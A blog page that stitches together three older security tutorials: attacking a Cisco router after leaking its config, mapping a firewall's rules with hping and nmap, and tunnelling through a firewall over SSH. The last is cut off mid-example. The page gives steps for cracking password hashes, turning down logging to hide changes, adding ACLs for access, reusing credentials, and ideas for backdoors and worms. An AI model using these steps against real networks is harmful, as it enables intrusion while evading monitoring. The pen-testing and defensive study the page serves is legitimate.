Tuesday, June 3, 2008

Exploiting Cisco Routers: Part 2

Exploiting Cisco Routers: Part 2

Access Granted -- Now What?

Welcome back! The first article in this two-part series covered a few different methods of getting into the target router. This article will focus on what we can do once we've gotten in. For the remainder of this article, we'll assume that the only progress we've made is that we've gotten the below router config via the vulnerable HTTP server. At this point, Access Control Lists (ACLs) prevent us from logging in directly to the router.
Analyzing the Router Config

As imagined, router config files can give the penetration tester a TON of useful information. One can identify new targets, identify sensitive systems or networks by analyzing the ACLs, learn passwords that may be used elsewhere, and a bunch of other information.
Now that we have the router config, we can analyze it for weaknesses, and hopefully glean other useful information from it. Our sample router config looks like this:



Code:
! 
version 12.0 
service timestamps debug uptime 
service timestamps log uptime 
service password-encryption 
! 
hostname router2 
! 
logging buffered errors 
enable secret 5 $1$sz0o$PYahL33gyTuHm9a8/UfmC1 
! 
username xyzadmin password 7 05331F35754843001754 
ip subnet-zero 
no ip routing 
! 
! 
! 
interface Ethernet0 
 description Internal Corporate Link 
 ip address 10.0.1.199 255.255.255.0 
 no ip directed-broadcast 
 no ip route-cache 
 no ip mroute-cache 
! 
interface Ethernet1 
 description Link to DMZ 
 ip address 172.16.1.1 255.255.255.0 
 no ip directed-broadcast 
 no ip route-cache 
 no ip mroute-cache 
! 
interface Serial0 
 description Link from PSInet 
 bandwidth 1536 
 no ip address 
 no ip directed-broadcast 
 no fair-queue 
! 
interface Serial1 
 no ip address 
 no ip directed-broadcast 
 no ip route-cache 
 no ip mroute-cache 
 shutdown 
! 
ip default-gateway 10.0.1.1 
ip http server 
ip classless 
! 
logging history critical 
logging trap warnings 
logging 10.0.1.103 
access-list 100 permit tcp host 192.168.2.99 host 10.0.1.199 eq telnet 
access-list 100 permit tcp host 192.168.2.99 host 10.0.1.199 eq finger 
access-list 100 permit ip 0.0.0.0 255.255.255.248 host 10.0.1.199 
access-list 100 permit ip host 10.0.1.103 any 
access-list 100 deny ip any any 
snmp-server community public RO 
snmp-server community private RW 
snmp-server location XYZ Widgets Inc. Server Room (417) 
snmp-server contact Network Admins 
snmp-server host 10.0.1.112 h3rn3c4 
banner motd ^C 
THIS IS A PRIVATE COMPUTER SYSTEM. 
This computer system including all related equipment, network devices 
(specifically including Internet access), are provided only for 
authorized use.  All computer systems may be monitored for all lawful 
purposes, including to ensure that their use is authorized, for 
management of the system, to facilitate protection against unauthorized 
access, and to verify security procedures, survivability and 
operational security. Monitoring includes active attacks by authorized 
personnel and their entities to test or verify the security of the 
system. During monitoring, information may be examined, recorded, 
copied and used for authorized purposes. All information including 
personal information, placed on or sent over this system may be 
monitored. Uses of this system, authorized or unauthorized, constitutes 
consent to monitoring of this system.  Unauthorized use may subject you 
to criminal prosecution. Evidence of any such unauthorized use 
collected during monitoring may be used for administrative, criminal or 
other adverse action. Use of this system constitutes consent to 
monitoring for these purposes. ^C 
! 
line con 0 
 password 7 01030717481C091D25 
 transport input none 
line aux 0 
line vty 0 4 
 password 7 095C4F1A0A1218000F 
 login 
! 
end
Cracking the Enable Password


The first thing we'll do is attempt to "crack" the enable password.
It is represented in the form of an MD5 hash, which is said to be
uncrackable. We're not going to attempt to decrypt the password, as
this is not possible. Instead, we'll run a dictionary attack against
it. In much the same way as John the Ripper plows through an
/etc/shadow file, the very popular tool Cain and Abel is capable of conducting both brute-force and dictionary attacks on Cisco MD5 hashes.

This tool could be described as the Swiss Army Knife of cracking
tools. The following screenshot shows this tool conducting a dictionary
attack on the above enable hash.


 Figure 1: Cain and Able
Take note of all the other types of passwords Cain and Abel can crack. This is a tool every Pen Tester has in his toolbox.
As displayed in the above image, Cain and Abel was successful in figuring out the enable password. Now that we have this critical piece of information we can attempt to log into the device. If pesky ACLs prevent us from logging in directly, we can either add a rule that allows us to log in, or completely disable an ACL. I'd guess that your organization is like mine in the fact that we want to increase the security of the target network and not increase the risk to the network. If this is the case, you'll likely just add an ACL that allows you to telnet into the router.
Before we modify anything with the router though, we'll take a quick look at the entire router config. Too often I find myself moving way too quickly, and inevitably I end up screwing something up. The one thing to point out at this time is the following lines:
Code:
logging buffered errors
logging history critical 
logging trap warnings 
logging 10.0.1.103
This router is logging at log level 4 to the
syslog server 10.0.1.103. One could turn logging off completely, but
that may raise suspicions too much. You may just want to increase the
log level to a level where only emergencies are logged. This way, when
we do modify the router nothing gets sent to the syslog server.

At this point, any changes we to make to the router will have to be done via the HTTP server.

We open up our favorite web browser (mine is not IE by the way) and take advantage of the previously mentioned HTTP vulnerability.

Figure 2: Raise the router's log level
Though we did modify the log level of the router so that most events will not be reported, no guarantees can be made that the network admins aren't using some other method of monitoring the device.
We then use the same method to add an ACL permitting us to access the router


Figure 3: Add an ACL, giving us access to the router
Now that we've successfully added an ACL that allows us full access to the router and beyond, we can crack the weaker Vigenere password protecting the VTY ports and telnet in. Once we telnet in, we can use the newly acquired enable password to fully administer the router.
There are several other items worth mentioning in the router config file. The ACLs show a trusted host. This host ( 192.168.2.99) is permitted to login to the router and to also finger the router to see who is logged on. We also have the snmp read and write community strings, which can more than likely be used on other systems. I will typically put all of the passwords along with some other company-related words into a dictionary file for latter use. Additionally, there is the username "xyzadmin" defined.
All of the above information can be used in furthering the penetration test. A common practice in most networks I've seen is a class-based password scheme. That is, each different class of systems, whether it be Unix servers, NT servers, routers and switches etc. has a shared password. Believe it or not, some networks just have a common administrator password for everything! If this is true in this case, we may be able to leverage the access gained to this one device to attempt to login to other systems.
Just for the heck of it, we'll try to login to the syslog server. It's more than likely a Unix-based server, so logging in as root won't be possible unless they've really loosened up security. We'll use the newly learned username of "xyzadmin" and quickly crack the associated password using GetPass. If this login attempt is successful, we'll have at the very minimum, a user level shell on the XYZ Widget Company's internal network. With any luck, the syslog server will have some local root vulnerabilities that once exploited give the attacker/pen tester a root shell. And all of this was possible because of a vulnerability in the Cisco HTTP server, that more than likely shouldn't have been running in the first place. Other targets may be TFTP servers that might be listed in the config file.
Another way to discover routers and switches on the network is to use use CDP. The Cisco Discovery Protocol is extremely useful for "browsing" the network for other Cisco devices. It's useful for all types of people that gain access to your Cisco devices, including the bad ones. It's definitely not a necessary service, and shouldn't provide any information a well administered network doesn't already have. Once the devices are learned, the attacker can try the learned passwords and community strings on the new devices.
Once the pen tester is logged into the router, he will likely want to know what other systems he can access. Until he compromises more powerful systems, he can use both traceroute and telnet from the router to explore the internal network. Interface descriptions help greatly in learning the network. In the above router config, the interfaces have nice descriptive labels as reiterated below:



Code:
interface Ethernet0 
 description Internal Corporate Link
 ip address 10.0.1.199 255.255.255.0 
 no ip directed-broadcast 
 no ip route-cache 
 no ip mroute-cache 
! 
interface Ethernet1 
 description Link to DMZ 
 ip address 172.16.1.1 255.255.255.0 
 no ip directed-broadcast 
 no ip route-cache 
 no ip mroute-cache 
! 
interface Serial0 
 description Link from PSInet 
 bandwidth 1536 
 no ip address 
 no ip directed-broadcast 
 no fair-queue 
!
Want to shutdown the company's Internet access? Okay. Just shutdown the Serial link from the ISP. It's not likely that a pen tester would want to do this, but I list this example to hopefully gain some attention of the importance of the router. Also learned from the description is a couple more target networks to attack. Since the router provides the traffic for the networks, it will more than likely be trusted. Though using Telnet from the router may not appear to be very powerful, don't forget the above example concerning shared passwords.
The ACLs present in the above config aren't great, but analyzing a more complex set of ACLs may be quite revealing. You might learn a good source port to use for port scanning (if you don't want to modify the ACLs). Perhaps you'll learn of trusted networks or hosts.
You may be wondering about sniffing traffic from the router, since this one device does pass every packet into and out of the network. Though I won't cover it here, sniffing is possible. It's possible to establish a GRE tunnel with another router or system that can speak GRE. Policy routing can then be setup so that certain or all traffic can be sent to this other system via the GRE tunnel. On the other end of the GRE tunnel, systems capable of running sniffers can be setup to run ethereal or dsniff. All this, and the traffic still gets to its intended destination. Setting up sniffing like this is quite elaborate, and conditions and the load on the router have to be just right. It would be easy to overload the router's Internet connection, potentially shutting down the network. For this reason, I doubt most professional pen testers would take the risk of conducting this sort of an attack, unless they were expressly given permission. Some of my past customers haven't been happy if I knocked off one router, let alone the entire Internet connection! For more information on this type of attack, check out the excellent paper written by David Taylor .

Summary


Hopefully this series on Exploiting Routers has been somewhat enlightening to you, and perhaps you now have a greater sense of awareness on what you as a pen tester can do on your next task.

Dealing with Firewalls

Dealing with Firewalls This is part 5 of hacking unix release 1

Dealing with Firewalls

0. - Forword
1. - Introduction
2. - Packet Filtering Firewalls
2.1 - A pracical Example
3. - How does the packet filter work
3.1 - Introduction
3.2 - Stateless or Stateful
4. - Dealing with Firewalls
4.1 - Introduction
4.2 - 2D mapping of a firewall ruleset
4.3 - 3D mapping of a firewall ruleset
5. - Using the gathered information
6. - Final words

0. Forword

This part explains what firewalls are, their purpose and how they work.
You will learn several techniques to detect a firewall and to discover
it's ruleset later on in this part. Understanding firewalls requires
understanding on networking and other things, certain references are
included to obtain that knowledge.
It's important to understand the role of firewalls in security and how
they work. This will be described and later on I'll focus on common
weaknesses.

1. - Introduction

Users on an internal network may need to access other networks in an
interconnected environment.
An organisation may want to restrict access to the Internet and will
especially want to restrict access from the untrusted Internet into the
internal network.
Firewalls are used to control network activity between the interconnected
networks.

Therefor an administrator creates a policy based on information about the
services that users need to access on the external network and the
services on the internal network requiring access from the outside of the
network.
It is also possible to restrict access into the internal network to a
certain part of the external network and vise-versa.

Using the policy, the ruleset is defined and applied to a firewall placed
between the two networks. A firewall is only effective if users are forced
to access the external network through the firewall (and vise-versa).
When a computer on the internal network has a modem it may be possible to
access the external network through a dial-up connection completely
bypassing the policy.

In this part you'll be introduced to the techniques hackers use to deal
with firewalls.

2. Packet Filtering Firewalls

In this chapter I discuss where and how firewalls are used. Chapter 3
generally explains how a firewall works and later on we'll focus on
``dealing with packet filters''.

Packet filters have a ruleset defined by the administrator. The packet
filter often operates at kernel-level and checks the header* on the packet
to see where it's heading. It than looks for these targets in it's ruleset
and decides it's fait. The packet can be discarded or accepted in
different ways, or it may trigger another action (for example to accept
the packet to pass through but to log the event).
{
A header is like an envelope that sets the receiver (and sender).
On network-packets we have multiple envelopes (headers) that
together form the exact destination (it is layered).
}

In the case of the internet most packet filters operate on IP and TCP
level. IP specifies the host the packet is heading to, TCP identifies the
program that the packet is destined for.

2.1 A practical example.

We'll follow the proces the administrator of TotallySecure Inc. takes
for defining a packet filtering ruleset.

The first smart rule the administrator defines looks like this:

Source: Anywhere
Destination: Anywhere
Protocol: Any
Destination port: Any
Policy: DENY

The next thing the administrator does is to identify the exceptions to
this base rule.
{
Note that there are also administrators that at first ACCEPT
everything and then close some ports. This is the wrong way of
thinking.
Security can only be brought to the max. when you first disable
everything and then enable some required features. And that goes
for almost any element of a system.
}

An administrator may have a mailserver inside the organisations network.
The mail is delivered from and to the mailserver through the SMTP service
(for example sendmail or qmail). The administrator knows that the SMTP
service must be reachable from the internet to be able to receive mail.

So the administrator defines a new rule (exception on the first rule):

Source: External (Internet)
Destination: Internal mailhost
Protocol: TCP
Destination Port: 25 (SMTP)
Policy: ACCEPT.

Meaning that any packets from any address destined for the SMTP service
(TCP port 25) on the mailhost will be forwarded to the appropriate
direction.

The administrator grants all systems on the internet to deliver e-mail to
users' mailboxes. He does not have to define a rule for the internal
network. The users just need to connect to the mailserver, not to a
mailserver outside the internal network, so he'll only need to make an
exception for SMTP from the mailhost:

Source: Internal mailhost
Destination: External (Internet)
Protocol: TCP
Port: 25
Policy: ACCEPT.

The next thing the administrator wants is to allow users to receive their
mail from their mailbox on the mailserver using the POP3 protocol. The
administrator prefers to DENY access to the POP3 service from the internet
side. He asks several users if they *have to* retrieve their mail from
anywhere outside the organisation and finds out it's safe to block access
to this server from the internet-side for POP3 access.

He knows he won't need to change the firewall rules as this is no
exception to the first rule, although he just adds it to his note for
reference:

Source: External
Destination: Internal
Protocol: TCP
Destination Port: 110 (POP3)
Policy: DENY.

The administrator realises the simple fact that users need to use HTTP
access to the internet. He can simply ACCEPT outgoing HTTP traffic or
further restrict this access using a proxy server (in the last case he
only needs to allow outgoing HTTP from the proxy server).

He decides the last method is more secure. He installs a HTTP/HTTPS/FTP
proxy all-in-one solution. The proxy server runs on port 8080 and needs
only to be accessed from the internal network. So incoming traffic to port
8080 can safely be blocked. He sets up a LAN for the users behind the
proxy server. He adds a second network card to the mailserver so that the
mailserver is accessible on the LAN aswell as from the internet.

The first rule he adds is to allow outgoing FTP/HTTP/HTTPS from the
proxyserver:

Source: Internal proxy-server
Destination: External
Protocol: TCP
Destination Port: 21 (FTP), 80 (HTTP), 443 (HTTPS)
Policy: ACCEPT.

The administrator has now defined all rules he thinks are necessary. Next
the administrator goes on with adding spam- and virusblocking to his
mailserver etcetera.

3. How does the packet filter work.

3.1 Introduction

Network packets come into the network card which are then received at the
kernel of the operating system. If the operating system is setup as a
router it reads the packet and knows where to send the packet to. When a
firewall is installed it has the ability to read the packets and the
possibility to do something with it. It can drop (discard) the packet,
refuse (block, reject) the packet, accept the packet for further
processing or manipulate (mangle) the packet. All these decisions are
based on the information in the protocol's header which are matched
against filter rules.

I haven't explained the difference between dropping a packet and refusing
(blocking) a packet. A dropped packet is simply thrown away (discarded)
and the sender of that packet receives no notice. Rejecting (refusing) a
packet means discarding the packet and replying with a TCP RST packet,
the same response as it gets when you would try to open a connection to a
non-existing port. Ofcourse this rejecting only takes place when there are
specific flags set. To fully understand this you should read RFC 793 (TCP)
and RFC 791 (IP).

3.2 Stateless or Stateful.

A stateless firewall is very basic, it may simply check destination and
source address, destination port and source port and decide what to do
with it.

A stateful packet filter keeps track of a connection and has the ability
to do some meaningful packet manipulation. For example Network Address
Translation (NAT), where protocol information can be changed before it is
forwarded. This is used for example to make an internal host
(with a private-range IP-address) addressable from the internet.

Stateful packet filters can also have protocol helpers, which can be used
to make a protocol work through a firewall by manipulating the
application-level-data that the packet contains or anything more creative.

4. Dealing with Firewalls.

4.1 Introduction

Firewalls itself are not a target for our attacks. This may sound obvious
but this is exactly what is suggested when saying ``how can I break
security?'' or more explicitly ``how can I break through a firewall''. It
is not about breaking security it is about taking advantage of insecurity
elsewhere. More intelligent people do know this but still talk about
'breaking security' which is plain wrong. That's why I called this part
"Dealing with Firewalls" and not "Breaking Firewalls".
Although, there have been occasions where the firewall software itself
introduced new vulnerabilities. And some (older) firewalls may simply not
work well, but you'll see that. At first we will concentrate on a
different way to get around firewall restrictions anyway.

So we are going to *deal* with the firewalls and we will find out a
different way to defeat or bypass them.

4.2 2D discovery of a firewall ruleset

In this paragraph I will explain some techniques useful to map a firewalls
ruleset. This information is very useful for later stages of attack. For
example, you will already know how your backdoor needs to be configured,
or what kind of backdoor you will need. You may also need the information
for some kid of attacks on systems behind the firewall. We are not going
to focus on compromising the firewall initially because it is probably
secure enough, however, if it is vulnerable to remote attack we'll find
out anyway.

Now we are going to watch over the shoulder of a hacker named John that is
about to map the firewall ruleset of TotallySecure Inc's firewall. John
has just surfed into the website of TotallySecure and wants to know
if the company deserves the name it has. Note that this stage should be
part of the information gathering stage discussed in part 2.

John first sends a harmless ping addressed to the webserver:

# ping http://www.totallysecure.org/
PING http://www.totallysecure.org/ (123.123.123.123): 56 octets data

--- http://www.totallysecure.org/ ping statistics ---
12 packets transmitted, 0 packets received, 100% packet loss
#

John knows there must be a some device in the way that drops the ICMP
(ping) ECHO REQUEST packets, although he knows it doesn't have to be the
webserver itself.

Next, John wants to know if some ports are also being filtered (dropping
incoming connections on certain ports). Administrators often rather filter
ports and protocols instead of blocking them because the host appears to
be offline.
With the knowledge that a closed port needs to respond with an RST/ACK
packet when sending a SYN packet to it, he could see if the firewall is
filtering ports. He'll use the program 'hping' to discover this (found at
http://www.hping.org/):

# hping http://www.totallysecure.org/ -S -p 85
HPING http://www.totallysecure.org/ (eth0 123.123.123.123): S set, 40 headers + 0 data bytes

--- http://www.totallysecure.org/ hping statistic ---
10 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#

The -S switch indicates the SYN flag to be set and the -p flag specifies
the destination port. No response at all, it must be filtered too. Now, if
this firewall is intelligent in anyway, it will also drop any loose ACK
packets to that port. The normal behavior when sending a lonesome ACK
packet to a port is to receive an RST response. Now if the firewall is not
that smart it may only block SYN (for connection synchronization) packets
to that port. If we receive an RST packet after sending an ACK packet to
port 85 it indicates that it's a very basic firewall.

# hping http://www.totallysecure.org/ -A -p 85
HPING http://www.totallysecure.org/ (eth0 123.123.123.123): A set, 40 headers + 0 data bytes

--- http://www.totallysecure.org/ hping statistic ---
4 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#

No response at all, okay it's probably filtered properly. Note that the
ACK packets send to unfiltered ports (whether open or closed) always
return an RST packet. You can not determine if a port is open or closed.

Now, it is not important which port we used for this action (85), aslong
as we think it is probably not in use. It is this clue that may make us
think that the host has filtered all ports and made exceptions to specific
ports that require to be open (like the webserver). Atleast we may
conclude that because it is very unlikely port 85 is in use, as no
well-known service has this port assigned as yet.
How do I know this?

# grep 85 /etc/services
#

So if the admin is filtering a port that isn't in use, why wouldn't he
filter all ports that aren't in use? So John may assume now that the
administrators first rule was to DROP any connection on incoming ports,
atleast from the outside (the Internet). No ordinary backdoor could be
installed on the firewall without changing the ruleset if the firewall
works properly. Knowing that this packet filter also filters ACK packets,
we can later on scan all ports with ACK packets to make sure everything is
filtered.

There is another a way to see if the firewall is filtering properly, this
is done by testing it with fragmented packets. Fragmented packets are
normally used to send packets over networks with a low Maximum
Transmission Unit (MTU). Fragments can be this small that even the header
is split up into multiple packets. Some firewalls fail at blocking such
packets as they don't have the complete header, and they don't wait to
collect all fragments for reconstruction.

John performs a simple test against http://www.totallysecure.org/ with Fyodor's
Nmap tool:

# nmap -sS -p85 -f http://www.totallysecure.org/ -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on http://www.totallysecure.org/ (123.123.123.123):
Port State Service
85/tcp filtered unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 36 seconds
#

He uses the -f switch to fragment the packet, -P0 to tell Nmap not to
check if the host is up (as PINGs don't pass through, Nmap will otherwise
think the host is down), -sS to do a SYN scan. As it turned out, Nmap
split the packet in 6 fragments, as seen with a header sniffer. We could
do this scan with ACK packets as well.

What if we send packets with no flags at all? A so-called NULL scan should
return RST packets if the port is closed, and no result if the port is
open. It is this why this scan is not really reliable, because this type
of scan indicates a port being open if it is filtered (dropped).

The problem is that Windows systems return an RST packet even if the port
is open (against the specification) and so this scan is not usable to scan
Windows systems. But it is still useful against Windows systems for
testing the firewall ruleset, the same way as using ACK packets.

For UNIX systems it is useful if we have to deal with a basic firewall
that only blocks SYN packets. Because then we already know what port the
firewall is supposed to filter. Then we use a ACK scan to determine if the
firewall is a basic one. Then we use the NULL scan to see if the port
being filtered is actually open or not. For example:

Step 1:

# nmap -sS -p110 http://www.totallysecure.org/ -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on http://www.totallysecure.org/ (123.123.123.123):
Port State Service
110/tcp filtered pop3

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
#

Step 2:

# nmap -sA -p110 http://www.totallysecure.org/ -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
The 1 scanned port on http://www.totallysecure.org/ (123.123.123.123) is: UNfiltered

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
#

Step 3:

# nmap -sN -p80 http://www.totallysecure.org/ -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on http://www.totallysecure.org/ (123.123.123.123):
Port State Service
110/tcp open pop3


Nmap run completed -- 1 IP address (1 host up) scanned in 12 seconds
#

See, in case the admin used a basic packetfilter, we just found out the
POP3 service is open but filtered. If that didn't succeed, we should also
try in conjunction with the fragmentation option (-f). This knowledge may
introduce the idea that the port must somehow be in use, maybe only to
serve internal netwerk users. Otherwise the administrators is to lazy to
turn off the POP3 service.

Using the above techniques, John has a basic idea of the type of firewall
being used. In this case John concludes http://www.totallysecure.org/ is secured
by one or more firewalls that drop incoming connections on filtered ports.
The firewall is not vulnerable to fragmented packets nor is it a basic
firewall that chases after SYN packets only. John continues finishing his
2D view of the webserver by doing the SYN, ACK and NULL scans against all
the 65535 possible ports during the period of about month (not not raise
too much suspicion).

The 2D map results in:

Protocol ICMP: dropped
All TCP ports dropped except port 80.

John has both gathered information on the open/closed ports and the
firewall configuration. He did it in a non-intrusive and stealthy manner.

The next questions John wants to investigate are:

- is the firewall on the same site as the webserver?
- howmany firewalls are there?
- where are the firewalls located?

This is what I call a 3D mapping. A 2D mapping maps all obstacles in the
way to a target, no knowledge of distance are known. In a 3D map John
knows on which systems services are available and where packets are
filtered.

4.3 3D mapping of a firewall ruleset

What I call -3D mappings- are a series of probes and information gathering
methods that result a visual map. It is used to determine which sites
provide which services while figuring out why it is setup that way along
with the location of where packets are filtered. Combining this
information with the 2D mapping results a detailed report of the physical
configuration as well the logical configuration and why it works that way.

Again, we'll follow John the hacker in his info gathering stage with
TotallySecure Inc. being his target.

In the 2D mapping stage John learned that (probably all) ICMP type packets
don't pass through. In this stage John wants to know which device along
the way is blocking it. Now how does he do that? He's about to use a
series of traceroute-type probes to determine the site that's blocking
these packets. First things firts, John writes a quick shell script for
determining the location of the ICMP filter:

--- trace_icmp.sh ---
#!/bin/sh
# determine ICMP filter location

cnt=1
while [ $1 ] ; do
echo hop \#$cnt:
hping -1 -c 1 -t $cnt $1
let cnt=cnt+1
sleep 1
done
--- end ---

John is now able to determine where the packet is filtered.

--- determine ip address ---

# nslookup http://www.totallysecure.org/
Server: 127.0.0.1
Address: 127.0.0.1#53

Name: http://www.totallysecure.org/
Address: 123.123.123.123

#

--- end ---

John first looks up the ip adress so hping won't have to look it up itself
everytime.

--- trace icmp filter ---

bash-2.05a# ./trace_icmp.sh 123.123.123.123
hop #1:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
TTL 0 during transit from ip=100.100.100.1 name=gateway.attackers.org

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
hop #2:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
TTL 0 during transit from ip=100.100.1.1 name=gateway.hackerisp.org

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

....
....
....
....

hop #18:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
hop #19:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
ICMP Packet filtered from ip=123.123.1.1 name=UNKNOWN

--- end ---

Now this makes sense, the filter that filtered the ping packets was not
the one on the webserver... but a gateway at hop #19.
Next John wants to know on which hop the webserver is. How does he figure
that out? Simple:

--- trace_tcp.sh ---
#!/bin/sh

cnt=1
while [ $1 ] ; do
echo hop \#$cnt:
hping -S -p $2 -c 1 -t $cnt $1
let cnt=cnt+1
sleep 1
done

--- end ---

How could you use this script? Well, just pick a port that you know is
open, John will use port 80. Then this script can be used to determine the
number of hops until the port 80 has been reached.

Let's see John in the act:

--- trace count hops to destination ---

bash-2.05a# ./trace_tcp.sh 123.123.123.123 80
hop #1:
HPING 123.123.123.123 (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=100.100.100.1
--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

....
....
....
....

hop #21:
HPING 123.123.123.123 (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
len=46 ip=123.123.123.123 flags=SA DF seq=0 ttl=63 id=0 win=5840 rtt=575.6 ms

--- end ---

John learned that there is a packet filter filtering ICMP packets at hop
19, and the webserver is at hop 21. That's interesting, so the second
gateway from the webserver is filtering ICMP packets. It may also be
possible that the first gateway before the webserver is also filtering
ICMP, but that doesn't matter.

Next John wants to know if all ports are firewalled by that firewall. So
he does another probe:

---
# hping -A -p 85 -c 1 -t 19 http://www.totallysecure.org/
HPING http://www.totallysecure.org/ (eth0 123.123.123.123): A set, 40 headers + 0 data bytes
TTL 0 during transit from ip=123.123.123.1 name=UNKNOWN

--- http://www.totallysecure.org/ hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#
--- end ---

Nope, we receive an ICMP port unreachable atleast port 85 is not filtered
at the same address as ICMP is filtered.

Now there are only two options: the packet is filtered at the gateway just
before the webserver, or on the webserver itself:

--- determining where port 85 is filtered ---

# hping -A -p 85 -c 1 -t 20 http://www.totallysecure.org/
HPING http://www.totallysecure.org/ (eth0 123.123.123.123): A set, 40 headers + 0 data bytes

--- http://www.totallysecure.org/ hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#

--- end ---

Port 85 is filtered at the gateway before the webserver.
Let's see which address this gateway has:

--- resolving gateway address ---

# hping -S -p 80 -c 1 -t 20 http://www.totallysecure.org/
HPING http://www.totallysecure.org/ (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=123.123.123.1 name=UNKNOWN

--- http://www.totallysecure.org/ hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

#

--- end ---

As we already knew, it is 123.123.123.1 that is firewalling this port.

John continues his probing work and finds out the following:

123.123.1.1 (hop 19) filters: ICMP, TCP port 31337
123.123.123.1 (hop 20) filters: All TCP ports except port 80

John considers that TotallySecure Inc. owns the whole 123.123.123.0
segment, and that 123.123.123.1 is their own firewall. 123.123.1.1 is
probably the gateway of their ISP (Internet Service Provider).

John draws the following 3D map:

*******************
# 123.123.123.123 #
*******************
_________|_____________|_____________|_____________|_____________|__
|
*****************
# 123.123.123.1 #
*****************
___________|_____________|_____________|_____________|______________
|
***************
# 123.123.1.1 #
***************
|
***
*** ***
**** INTERNET ****
*** ***
***

John believes that TotallySecure Inc.'s network must have a mailserver
that's in the 123.123.123.0 segment. So how could he verify this? Simple:

--- lookup mailserver ---

# host -t mx totallysecure.org
totallysecure.org mail is handled by 100 relay1.bizznet.com.
totallysecure.org mail is handled by 50 mail.totallysecure.org.
#

--- end ---

Aha, two mail handlers, one appears to be the one of the ISP, and one
probably operated by totallysecure themselves.

# host relay1.bizznet.com
relay1.bizznet.com has address 123.123.1.65
# host mail.totallysecure.org
mail.totallysecure has address 123.123.123.80
#

John draws the new 3D map:

******************* ******************
# 123.123.123.123 # # 123.123.123.80 #
******************* ******************
_________|_____________|_____________|_____________|_____________|__
|
***************** ****************
# 123.123.123.1 # # 123.123.1.65 #
***************** ****************
___________|_____________|_____________|_____________|______________
|
***************
# 123.123.1.1 #
***************
|
***
*** ***
**** INTERNET ****
*** ***
***

The firewall only passes port 80 traffic if the destination is the
webserver, and port 25 only if the destination is the mailserver. Very
smart! John continues to fill in the above geographical map with this
information and the gathered information from the 2D mapping.

Note that the 3D mapping thing includes a technique called 'Firewalking'
discovered by Mike D. Schiffman and David E. Goldsmith. They also wrote a
program called 'Firewalk' to bring this technique to the public. You can
more information on it here:
http://www.packetfactory.net/Projects/firewalk/

John continues to scan all 255 possible hosts behind the firewall, but
comes up with no new results.

5. Using the gathered information

John knows that this packet filter is set up fairly restricted:

- John sees no possibity to compromise the firewall itself
- John can't use no classic inbound backdoor when exploiting weaknesses in
a system behind the firewall
- No ICMP channel available

In later stages when John is able to compromise one of the servers behind
the firewall (either through active attack on the mailserver or attack on
the webserver), he won't be able to use a classical inbound backdoor.

To play it safe, John needs to trojan or patch either the mailserver
software or the webserver. Another way is to use a reversely connecting
backdoor, that connects to a local server on your system instead of the
reverse. But that would not be very smart, as the backdoor would require
to know the address of his attacking host, also outgoing traffic may be
restricted too.

A backdoor on the webserver could be a server-side script that can execute
things through a webinterface. Or a special module, or a real patch of the
webserver which can be controlled through specially crafted requests.
Otherwise, the mailserver needs to be patched.

He could also create an automated program which works like a worm that
compromises the whole network behind the firewall and leaks information
back to John, which would require John to guess what vulnerabilities
could be exploited behind the firewall.

6. Final words

In this part you learned how to gain important information about the
target's network set-up as well as understanding how packet filters are
configured and how they sometimes can be bypassed.

These methods should be part of the information gathering stage discussed
in part 2, though there was somuch to tell that it deserves a seperate
part.

Please look out for new 'Hacking Unix' parts during the next couple of
months.

Breaking Firewalls with OpenSSH and PuTTY

Breaking Firewalls with OpenSSH and PuTTY

If the system administrator deliberately filters out all traffic except port 22 (ssh), to a single server, it is very likely that you can still gain access other computers behind the firewall. This article shows how remote Linux and Windows users can gain access to firewalled samba, mail, and http servers. In essence, it shows how openSSH and PuTTY can be used as a VPN solution for your home or workplace, without monkeying with the firewall. This article is NOT suggesting you close port 22. These step are only possible given valid accounts on all servers. But, read on, you may be surprised what you can do, without punching additional holes through the firewall -- punching additional holes is a bad idea.
OpenSSH and Linux
From the Linux laptop 192.168.1.106, it is possible to get access to the resources behind the firewall directly, including SAMBA server, HTTP Server, and Mail Server which are blocked from the outside by the firewall. The firewall only permits access to the SSH Server via port 22; yet, as you will see, it is possible to get access to the other servers.


The SSH Server is seen as 66.35.250.203 from the outside. To tunnel traffic through the SSH Server, from the Linux laptop 192.168.1.106, create the following "~/.ssh/config" file, on the Linux laptop.
~/.ssh/config

Code:
## Linux Laptop .ssh/config ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

